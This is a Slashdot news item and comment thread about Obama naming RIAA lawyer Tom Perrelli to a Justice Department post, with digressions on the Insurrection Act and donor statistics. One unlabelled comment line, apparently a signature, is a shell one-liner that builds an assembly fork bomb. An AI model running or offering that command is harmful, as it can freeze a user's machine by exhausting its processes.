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Obama Picks RIAA's Favorite Lawyer For Top DoJ Post
The Recording Industry of America's favorite courtroom lawyer, Tom Perrelli, who has sued individual file swappers in multiple federal courts, is President-elect Barack Obama's choice for the third in line at the Justice Department. CNet's Declan McCullagh explores the background of the man who won the RIAA's lucrative business for his DC law firm: "An article on his law firm's Web site says that Perrelli represented SoundExchange before the Copyright Royalty Board — and obtained a 250 percent increase in the royalty rate for music played over the Internet by companies like AOL and Yahoo," not to mention Pandora and Radio Paradise. NewYorkCountryLawyer adds, "Certainly this does not bode well for CowboyNeal's being appointed Copyright Czar."
Slashdot headline:
Obama Picks RIAA's Favorite Lawyer For Top DoJ Post
Original headline:
Obama picks RIAA's favorite lawyer for a top Justice post
Quibbling over a single letter might seem pedantic - and /.'s headline is misleading rather than incorrect - but in this case, that's one very important letter. *sigh* The news lately is like a game of blogger's telephone.
Make no mistake, I am not trying to support Obama's decision. Especially considering that his second pick was Ogden who, according to TFA, "...was responsible for organizing the defense of the Child Online Protection Act..." and "...successfully defended the Sonny Bono Copyright Term Extension Act before the U.S. Supreme Court."
I did a bit of research using Google and Wikipedia. Wikipedia has some light information on Tom Perrelli. It seems he is most well-known for his copyright litigation, but did do work for the United States Department of Justice, including tobacco industry litigation. Also he was "... defending the constitutionality of federal statutes, defending federal agency action and regulations, representing the diplomatic and national security interests of the United States in courts of law, and conducting significant Title VII, personnel and social security litigation." That's a pretty sanitized summary, and its hard to find out if he was doing good work or bad, but the bit about defending federal agency actions, regulations, and statues against constitutional question leaves me with a bad feeling in my gut. There's a lot of unjust and unconstitutional laws out there, so I'd place my bets on him defending bad laws rather than good ones.
I couldn't find much on David Ogden, other than his firm's bio page, and fluff pieces. Apparently he was already involved with Obama's transition team and worked for Clinton's administration. He also has experience at the federal level. There's a lot of juicy stuff in the firm's bio page, but he seems to be pretty cozy with media and big corporations. Without a lot of detail, a casual reading suggests that he tends to represent the big corps over the little guys. The only two bright spots seem to be "Obtaining summary judgment and affirmance ... rejecting the claims of a major tobacco company seeking to shut down the .. nationwide counter-marketing campaign to discourage young people from smoking", and "Representing a US media company with respect to the detention and threatened prosecution by US Forces and the Iraq government of the company's Iraqi employee."
Overall, not much to be happy about. It looks like he picked two big-business, media-friendly lawyers. They have a lot of federal-level experience, but not the kind I would have wanted.
So far the only questionable selection that concerns me.
The RIAA have been misusing the DMCA for the longest period of time. The person that drafted the law even admits that the RIAA is abusing the law.
Now we have a lawyer, however intellectual, that has acted utterly un-smart, being appointed from "a lobbying organization"; which are supposed to be an antithesis to the Obama adminstration.
I mean, really, listen to those videos that made it to the net from those lawyers that were part of the RIAA; those that lobbied to convince law enforcement that copying music is contributory to money laundering. And now you have Obama appointing one of those crazies to an important position.
You can lead a man with reason but you can't make him think.
Can we pay back the trial lawyers by hiring one of their biggest hacks who sued teenagers for sharing songs on their iPods? YES WE CAN!!!
Please don't equate the RIAA with "trial lawyers". Who do you think have been fighting these vermin? Answer: trial lawyers.
Ray Beckerman +5 Insightful
Hmm, it was an interesting situation
http://www.nytimes.com/2005/09/09/national/nationalspecial/09military.html?pagewanted=print
WASHINGTON, Sept. 8 - As New Orleans descended into chaos last week and Louisiana's governor asked for 40,000 soldiers, President Bush's senior advisers debated whether the president should speed the arrival of active-duty troops by seizing control of the hurricane relief mission from the governor.
For reasons of practicality and politics, officials at the Justice Department and the Pentagon, and then at the White House, decided not to urge Mr. Bush to take command of the effort. Instead, the Washington officials decided to rely on the growing number of National Guard personnel flowing into Louisiana, who were under Gov. Kathleen Babineaux Blanco's control.
The debate began after officials realized that Hurricane Katrina had exposed a critical flaw in the national disaster response plans created after the Sept. 11 attacks. According to the administration's senior domestic security officials, the plan failed to recognize that local police, fire and medical personnel might be incapacitated.
As criticism of the response to Hurricane Katrina has mounted, one of the most pointed questions has been why more troops were not available more quickly to restore order and offer aid. Interviews with officials in Washington and Louisiana show that as the situation grew worse, they were wrangling with questions of federal/state authority, weighing the realities of military logistics and perhaps talking past each other in the crisis.
To seize control of the mission, Mr. Bush would have had to invoke the Insurrection Act, which allows the president in times of unrest to command active-duty forces into the states to perform law enforcement duties. But decision makers in Washington felt certain that Ms. Blanco would have resisted surrendering control, as Bush administration officials believe would have been required to deploy active-duty combat forces before law and order had been re-established.
While combat troops can conduct relief missions without the legal authority of the Insurrection Act, Pentagon and military officials say that no active-duty forces could have been sent into the chaos of New Orleans on Wednesday or Thursday without confronting law-and-order challenges.
But just as important to the administration were worries about the message that would have been sent by a president ousting a Southern governor of another party from command of her National Guard, according to administration, Pentagon and Justice Department officials.
So Bush's advisers clearly thought Blanco was incompetent and discussed using the Insurrection Act to send Federal troops and decided against it. This was in 2005. In 2006 they modified the Insurrection Act.
http://en.wikipedia.org/wiki/Insurrection_Act#Differences_between_old_and_new_wording
Differences between old and new wording
The original wording of the Act required the conditions as worded in Paragraph (2), above, to be met as the result of
insurrection, domestic violence, unlawful combination, or conspiracy
The new wording of the Act, as amended, still requires the same conditions as worded in Paragraph (2), above, but those conditions could, after the changes, also be a result of
natural disaster, epidemic, or other serious public health emergency, terrorist attack or incident, or other condition
and only if
domestic violence has occurred to such an extent that the constituted authorities of the State or possession are incapable of maintaining public order.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That was an inflammatory article. The study set the dividing line between "small donors" and "big donors" at $200. I know plenty of regular people who donated more then $200.
If you change the cutoff to $999, you get a percentage for Obama of 53%, compared to Bush's 38%. At least, so one commenter alleges on your linked article.